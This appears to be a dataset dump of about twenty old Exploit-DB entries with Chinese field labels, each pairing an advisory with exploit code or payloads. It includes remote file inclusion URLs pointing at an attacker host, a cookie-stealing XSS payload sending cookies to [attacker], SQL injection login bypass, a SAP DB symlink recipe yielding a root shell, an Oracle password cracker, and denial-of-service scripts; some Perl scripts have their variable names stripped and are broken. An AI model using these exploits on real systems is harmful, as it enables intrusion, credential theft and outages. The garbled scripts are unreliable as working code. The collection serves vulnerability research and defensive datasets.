QLWD/code_shield huggingface dataset:
标题: PEEL 1.0b - Remote File Inclusion EDB-ID: 22114 CVE: 2002-2134 类型: WEBAPPS 平台: PHP 发布日期: 2002-12-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/6496/info

PEEL is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.

An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.

If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=.
with :
http://[attacker]/lang/lang.php URL: https://www.exploit-db.com/exploits/22114
标题: OpenTopic 2.3.1 - Private Message HTML Injection EDB-ID: 22125 CVE: 2003-1278 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/6523/info

A HTML injection vulnerability has been reported for OpenTopic. The vulnerability exists because OpenTopic does not sufficiently sanitize HTML code from private message posts.

When a victim user views any private messages, any malicious HTML code will be executed in the web browser in the security context of the site.

Exploitation may allow for theft of cookie-based authentication credentials or other attacks. 

[IMG]http://[website]/img.gif"width="750"height="750"onmouseover="
a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG] URL: https://www.exploit-db.com/exploits/22125
标题: iCal 3.7 - HTTP Request Denial of Service EDB-ID: 22117 CVE: 2003-1263 类型: DOS 平台: WINDOWS 发布日期: 2003-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/6505/info

A denial of service vulnerability has been reported for iCal. The vulnerability occurs when iCal receives a specially formatted HTTP request. This will cause iCal to crash thereby leading to a denial of service.

Restarting the service is necessary to restore functionality. 

http//target/* URL: https://www.exploit-db.com/exploits/22117
标题: N/X Web Content Management System 2002 Prerelease 1 - 'datasets.php?c_path' Local File Inclusion EDB-ID: 22116 CVE: 2003-1251 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/6500/info
 
N/X Web Content Management System is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.
 
An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.
 
If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://[target]/nx/common/dbo/datasets.php?c_path=http://[attacker]/
with :
http://[attacker]/common/dbo/saveset.php
http://[attacker]/common/dbo/recordset.php
http://[attacker]/common/dbo/deleteset.php
http://[attacker]/common/dbo/updateset.php
http://[attacker]/common/dbo/insertset.php URL: https://www.exploit-db.com/exploits/22116
标题: Sun Solaris 2.5.1/2.6/7.0/8/9 Wall - Spoofed Message Origin EDB-ID: 22120 CVE: 2003-1071 类型: LOCAL 平台: SOLARIS 发布日期: 2003-01-03 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6509/info

Solaris is the freely available UNIX Operating System variant distributed by Sun Microsystems.

The wall client packaged with Solaris makes assumptions about a user's environment when the client is executed. The assumption is made that if the file descriptor of stderr points to a tty when wall is executed, the user is local. If not, the user is considered remote, and the first five bytes of the
supplied 'From' text will be used by wall as the users idenfitication. This makes it possible for a user to close stderr prior to the execution of wall, and send a spoofed message using the client. 

/*
 wallspoof.c - SOLARIS (X86/SPARC) Exploit
 Don't use this in a malicious way! (i.e. to own people)
 */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
  char *userhost;
  char mesg[2050];
  FILE *tmp;
  if (argc < 2) {
    fprintf (stderr, "usage: wallspoof user@host\n");
    exit (-1);
  }
  userhost = argv[1];
  if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
    perror ("open");
    exit (-1);
  }
  printf ("Enter your message below.  End your message with an EOF (Control+D).\n");
  fprintf (tmp, "From %s:", userhost);
  while (fgets(mesg, 2050, stdin) != NULL)
    fprintf (tmp, "%s", mesg);
  fclose (tmp);
  fclose (stderr);
  printf ("<Done>\n");
  system ("/usr/sbin/wall < /tmp/rxax");
  unlink ("/tmp/rxax");
} URL: https://www.exploit-db.com/exploits/22120
标题: N/X Web Content Management System 2002 Prerelease 1 - 'menu.inc.php?c_path' Remote File Inclusion EDB-ID: 22115 CVE: 2003-1251 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/6500/info

N/X Web Content Management System is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.

An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.

If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/
with :
http://[attacker]/common/lib/launch.inc.php URL: https://www.exploit-db.com/exploits/22115
标题: Microsoft Pocket Internet Explorer 3.0 - Denial of Service EDB-ID: 22119 CVE: 2003-1275 类型: DOS 平台: WINDOWS 发布日期: 2003-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/6507/info

A denial of service vulnerability has been reported for Pocket Internet Explorer (PIE). The vulnerability is due to the way some JavaScript code is interpreted by PIE.

By enticing a victim user to browse a maliciously crafted web page an attacker can cause PIE to crash. 

<html> <head>
<script language="Javascript">
function displayPage(page){
if(page=="onload"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash
me</a>";}
if(page=="crash"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">crash!</a>";}
}
</script> </head>
<body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body> </html> URL: https://www.exploit-db.com/exploits/22119
标题: CHETCPASSWD 1.12 - Shadow File Disclosure EDB-ID: 22111 CVE: 2002-2219 类型: WEBAPPS 平台: CGI 发布日期: 2002-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6472/info

CHETCPASSWD is prone to a vulnerability that may potentially cause the tail end of the local shadow file to be disclosed to a remote attacker.

It is possible to exploit this issue by sending an overly long string as a value for the 'user' URI parameter in a request to the 'chetcpasswd.cgi'.

#!/usr/bin/perl -w
#Exploit coded by Victor Pereira <vpereira@modulo.com.br>
#Thanks to Alexandre Vargas And Thiago Zaninotti
use strict;
use Socket;
my ($remote,$port, $iaddr, $paddr,
$proto,$linha,$query,$len_query,$ARGC,$fakeuser,$linhas,$pattern);

$ARGC=@ARGV;
if($ARGC < 1){
        print "chetcpasswd.cgi exploit\n";
 print "coded by VP <vpereira\@modulo.com.br>\n";
        print "Usage:$0 <host>\n";
        exit;
}
$fakeuser="ASSHOLEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEE";
$pattern="User: E*E";

$query="user=$fakeuser&old_pw=teste&new_pw1=teste1&new_pw2=teste1&change='Altere minha senha'";

$len_query=length($query);
$remote = $ARGV[0];
$port = 80; # random port
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
die "No port" unless $port;
$iaddr = inet_aton($remote) || die "no host: $remote";
$paddr = sockaddr_in($port, $iaddr);

$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
connect(SOCK, $paddr) || die "connect: $!";
select(SOCK); $|=1; select(STDOUT);
print SOCK "POST /cgi-bin/chetcpasswd.cgi HTTP/1.0\n";
print SOCK "Connection: Keep-Alive\n";
print SOCK "Content-type: application/x-www-form-urlencoded\n";
print SOCK "Content-length: $len_query\n";
print SOCK "\n$query\r\n\r\n";

$linha = "";
while (<SOCK>) {

    $linha = $_;
    if($linha =~ s/<.*?>//g){
         $linha =~ s/$pattern//g;
         print $linha;
}
close (SOCK) || die "close: $!";
exit; URL: https://www.exploit-db.com/exploits/22111
标题: Linux Kernel 2.2 - 'mmap()' Local Denial of Service EDB-ID: 22105 CVE: 2002-1380 类型: DOS 平台: LINUX 发布日期: 2002-12-17 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/6420/info

A denial of service vulnerability has been discovered in the Linux 2.2 kernel. It has been reported that it is possible for an unprivileged user to cause the kernel to stop responding due to a bug in the implementation of mmap().

It should be noted that this issue does not affect the 2.4 kernel tree. This is because support for mmap() in the /proc/pid/mem implementation has been dropped. 
*/


   #define PAGES 10

   #include <asm/page.h>
   #include <sys/mman.h>
   #include <unistd.h>
   #include <stdio.h>
   #include <fcntl.h>
   #include <sys/ptrace.h>

   int main() {
     int ad1,ad2,zer,mem,pid,i;
     zer=open("/dev/zero",O_RDONLY);
     ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0);
     pid=getpid();
     if (!fork()) {
       char p[64];
       ptrace(PTRACE_ATTACH,pid,0,0);
       sleep(1);
       sprintf(p,"/proc/%d/mem",pid);
       mem=open(p,O_RDONLY);
       ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1);
       write(1,(char*)ad2,PAGES*PAGE_SIZE);
     }
     sleep(100);
     return 0;
   } URL: https://www.exploit-db.com/exploits/22105
标题: W-Agora 4.1.6 - 'EditForm.php' Cross-Site Scripting EDB-ID: 22109 CVE: 2002-2129 类型: WEBAPPS 平台: PHP 发布日期: 2002-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6464/info

W-Agora is a freely available, open source PHP forum software package. It is available for Unix and Linux systems.

A problem with W-Agora may make cross-site scripting attacks possible.

It has been reported that W-Agora has a vulnerability in the handling of script code. It is possible to format a malicious link containing arbitrary script code or HTML that when clicked on would execute in the security context of the vulnerable site. This would result in a browser security violation, and could lead to the theft of authentication cookies of administrators.

<URL:/editform.php?site=agora&blah=">Bug!> URL: https://www.exploit-db.com/exploits/22109
标题: CUPS 1.1.x - Negative Length HTTP Header EDB-ID: 22106 CVE: 2002-1368 类型: REMOTE 平台: LINUX 发布日期: 2002-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6437/info

A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems.

An attacker can exploit this vulnerability by connecting to a vulnerable system and issuing malformed HTTP headers with a negative value for some fields. When the cupsd service receives this request, it will crash.

This vulnerability is very similar to the issue described in BID 5033. It may be very likely that this vulnerability may be exploited to execute malicious attacker-supplied code on BSD, and possibly other, platforms.

*** January 05, 2003

There are reports of this vulnerability being actively exploited in the wild. Vulnerable users are advised to update immediately.

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked

- - - - -FFFFFFFE URL: https://www.exploit-db.com/exploits/22106
标题: Mambo Site Server 4.0.11 - 'PHPInfo.php' Information Disclosure EDB-ID: 22086 CVE: 2002-2247 类型: WEBAPPS 平台: PHP 发布日期: 2002-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/6376/info

Mambo Site Server is a freely available, open source web content management tool. It is written in PHP, and available for Unix, Linux, and Microsoft Windows operating systems.

It has been reported that Mambo enables a script by default that may reveal sensitive information. The phpinfo.php script is packaged with Mambo, and installed by default in the administrator subdirectory. A remote user may use this script to gain information about the server, including path and environment information.

http://www.example.com/mambo/administrator/phpinfo.php URL: https://www.exploit-db.com/exploits/22086
标题: Mollensoft Software Enceladus Server Suite 3.9 - 'FTP' Buffer Overflow EDB-ID: 22081 CVE: 2002-2232 类型: DOS 平台: WINDOWS 发布日期: 2002-12-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/6345/info

Enceladus Server Suite is prone to a remotely exploitable buffer overflow vulnerability. It is possible to trigger this condition by supplying an overly long value for several FTP commands. To exploit this issue, the attacker must be able to authenticate to the FTP server included in Enceladus and issue a maliciously crafted command.

Successful exploitation will enable a remote attacker to execute arbitrary code with the privileges of the Enceladus Server Suite software, which will most likely run with SYSTEM (or equivalent) privileges. This vulnerability may also be used to cause a denial of service.

This issue has been reported for Enceladus Server Suite 3.9. Other versions may also be affected.


#!/usr/bin/perl -w



use IO::Socket;



 = "Mollensoft Software Enceladus Server Suite 3.9";



unless (@ARGV == 3) {

 print "\n By Sapient2003\n";

 die "usage: -bash <host to exploit> <user> <password>\n";

}

print "\n By Sapient2003\n";



 = "A" x 500;

 = "USER [1]\nPASS [2]\nCWD ";



 = IO::Socket::INET->new(

        PeerAddr => [0],

        PeerPort => 69,

        Proto    => "udp",

) or die "Can't find host [0]\n";

print  ;

print "Attempted to exploit [0]\n";

close(); URL: https://www.exploit-db.com/exploits/22081
标题: Deerfield VisNetic WebSite 3.5.13.1 - Cross-Site Scripting EDB-ID: 22083 CVE: 2002-2246 类型: WEBAPPS 平台: PHP 发布日期: 2002-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/6369/info

A vulnerability has been discovered in VisNetic Website when generating a 404 page for a non-existent resources. The issue is due to insufficient sanitization of the HTTP 'referer' header. It is possible to cause arbitrary code to be executed within the context of the visited 404 page by embedding script code into the HTTP 'referer' header.

An attacker could exploit this issue to steal cookie-based authentication credentials which could be used to hijack a legitimate users session.

It should be noted that this vulnerability was discovered in VisNetic WebSite 3.5.13.1. It is not yet known whether this issue also affects earlier versions.

GET /NonExistentPage.html HTTP/1.0
Host: TARGET
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Referer: "></a><script>alert('Cross Site Scripting')</script> URL: https://www.exploit-db.com/exploits/22083
标题: MySQL 3.23.x/4.0.x - COM_CHANGE_USER Password Memory Corruption EDB-ID: 22085 CVE: 2002-1375 类型: REMOTE 平台: UNIX 发布日期: 2002-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/6375/info

MySQL is prone to a memory corruption vulnerability in the COM_CHANGE_USER command. 

Due to a lack of sufficient bounds checking for client responses to password authentication challenges, it may be possible to corrupt sensitive regions of memory. It has been reported that it is possible to overwrite the saved instruction pointer on the stack with bytes generated by the random number generator of the password verification algorithm. Theoretically, an attacker could leverage such a condition to cause execution of arbitrary code in the security context of the MySQL server process.

It is believed the attacker must be able to issue a COM_CHANGE_USER command to exploit this issue, so having access to a valid database user account may be a prerequisite for exploitation. It is not known if this condition exists when an unauthenticated user attempts to authenticate normally.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22085.tgz URL: https://www.exploit-db.com/exploits/22085
标题: MyPHPSoft MyPHPLinks 2.1.9/2.2 - SQL Injection Administration Bypassing EDB-ID: 22088 CVE: 2002-2304 类型: WEBAPPS 平台: PHP 发布日期: 2002-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/6395/info

MyPHPLinks is a freely available, open source PHP application distributed by MyPHPSoft. It is available for Unix, Linux, and Microsoft Windows operating systems.

It has been reported that a problem with the checking of input by MyPHPLinks exists. A problem in the checking of the idsession variable used by MyPHPLinks to verify Administrator access may allow a remote user to gain access to the host. This problem could allow an attacker to gain administrator access to the MyPHPLinks section of a web site.

http://www.example.com/admin/index.php?idsession='%20OR%20''=' URL: https://www.exploit-db.com/exploits/22088
标题: Mambo Site Server 4.0.11 - Full Path Disclosure EDB-ID: 22087 CVE: 2002-2288 类型: WEBAPPS 平台: PHP 发布日期: 2002-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/6387/info

A vulnerability has been discovered in Mambo Site Server. Requesting the 'index.php' script with an invalid parameter will cause an error page to be generated containing the path of the Mambo script.

Information obtained by exploiting this issue may aid an attacker in launching further attacks against a target server.

It should be noted that this vulnerability was reported in Mambo Site Server 4.0.11. It is not yet known whether other versions are affected.

http://www.example.com/mambo/index.php?Itemid=invalidparameter URL: https://www.exploit-db.com/exploits/22087
标题: Apache 1.3.x + Tomcat 4.0.x/4.1.x mod_jk - Chunked Encoding Denial of Service EDB-ID: 22068 CVE: 2002-2272 类型: DOS 平台: UNIX 发布日期: 2002-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6320/info

Apache Webserver and Tomcat are HTTP servers maintained and distributed by the Apache project. Apache Webserver and Tomcat are available for the Unix, Linux, and Microsoft Windows platforms.

It has been reported that a denial of service exists in Apache Webserver and Tomcat when mod_jk is used. Due to design problems in the module, a user submitting malicious requests to the Apache Webserver may cause desynchronization between Apache and Tomcat. This could be done through malicious chunked encoding requests.

#!/usr/bin/perl -w

use IO::Socket;

 = "Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
Protocol 1.3";

unless (@ARGV == 1) {
  print "\n By Sapient2003\n";
  die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";

 = "GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
Chunked\n53636f7474";

 = IO::Socket::INET->new(
        PeerAddr => [0],
        PeerPort => 69,
        Proto    => "udp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit [0]\n";
close(); URL: https://www.exploit-db.com/exploits/22068
标题: Oracle Database - Protocol Authentication Bypass EDB-ID: 22069 CVE: 2012-3137 类型: LOCAL 平台: MULTIPLE 发布日期: 2012-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/55651/info

Oracle Database is prone to a remote security-bypass vulnerability that affects the authentication protocol. 

An attacker can exploit this issue to bypass the authentication process and gain unauthorized access to the database. 

This vulnerability affects Oracle Database 11g Release 1 and 11g Release 2.


    #-*-coding:utf8 -*-
     
    import hashlib
    from Crypto.Cipher import AES
     
    def decrypt(session,salt,password):
            pass_hash = hashlib.sha1(password+salt)
     
            #......... ..... ..... .......... .. 24 ....
            key = pass_hash.digest() + '\x00\x00\x00\x00'
            decryptor = AES.new(key,AES.MODE_CBC)
            plain = decryptor.decrypt(session)
            return plain
     
    #............. ........... ...... 48 ....
    session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
     
    #.... 10 ....
    salt_hex = 'A7193E546377EC56639E'
     
    passwords = ['test','password','oracle','demo']
     
    for password in passwords:
            session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
            print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
            if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
                    print 'PASSWORD IS "%s"' % password
                    break URL: https://www.exploit-db.com/exploits/22069
标题: SAP DB 7.3.00 - Symbolic Link EDB-ID: 22067 CVE: 2002-1576 类型: LOCAL 平台: UNIX 发布日期: 2002-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6316/info

A vulnerability has been discovered in SAP DB that may allow an unprivileged to execute commands with root privileges. The vulnerability is due to insufficient sanity checks by lserver, when attempting to execute the 'lserversrv' binary in the current directory. 

An attacker can exploit this vulnerability by creating a symbolic link to the 'lserver' binary in a directory containing a maliciously created 'lserversrv' binary. Executing lserver via the symbolic link will cause the malicious 'lserversrv' progam in the current directory to be executed.

cd /tmp
mkdir "snosoft+sapdb=root"
cd "snosoft+sapdb=root"
ln -s /usr/sapdb/depend/pgm/lserver lserver
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > root.c
cc -o root root.c
cp root lserversrv
./lserver URL: https://www.exploit-db.com/exploits/22067
标题: OTRS 3.1 - Persistent Cross-Site Scripting EDB-ID: 22070 CVE: 2012-4751 2012-4600 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-10-18 漏洞利用脚本: #!/usr/bin/python

'''

Author: Mike Eduard - Znuny - Enterprise Services for OTRS 
Product: OTRS Open Technology Real Services
Version: 3.1.8, 3.1.9 and 3.1.10
Vendor Homepage: http://otrs.org
CVE: 2012-4751

Timeline:
03 Sep 2012: Vulnerability reported + fix to vendor
04 Sep 2012: Vulnerability reported to CERT
05 Sep 2012: Response received from CERT
28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012 
16 Oct 2012: Update: vulnerability patched
     http://www.kb.cert.org/vuls/id/603276
     http://znuny.com/#!/advisory/ZSA-2012-03
     http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/
17 Oct 2012: Public Disclosure

Installed On: Windows Server 2008 R2 & Open SUSE 12.1
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Firefox 14+16 & Opera 12.01 

Injection Point: HTML Email 
Injection Payload(s):
1: <iframe src=" javascript:alert('XSS Exploit');"></iframe>

'''

import smtplib, urllib2

payload = """
<iframe src=" javascript:alert('XSS Exploit');"></iframe>
"""

def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@znuny.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: Offensive Security\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()

username = "hacker@znuny.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@znuny.local"
smtpsrv  = "127.0.0.1"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password) URL: https://www.exploit-db.com/exploits/22070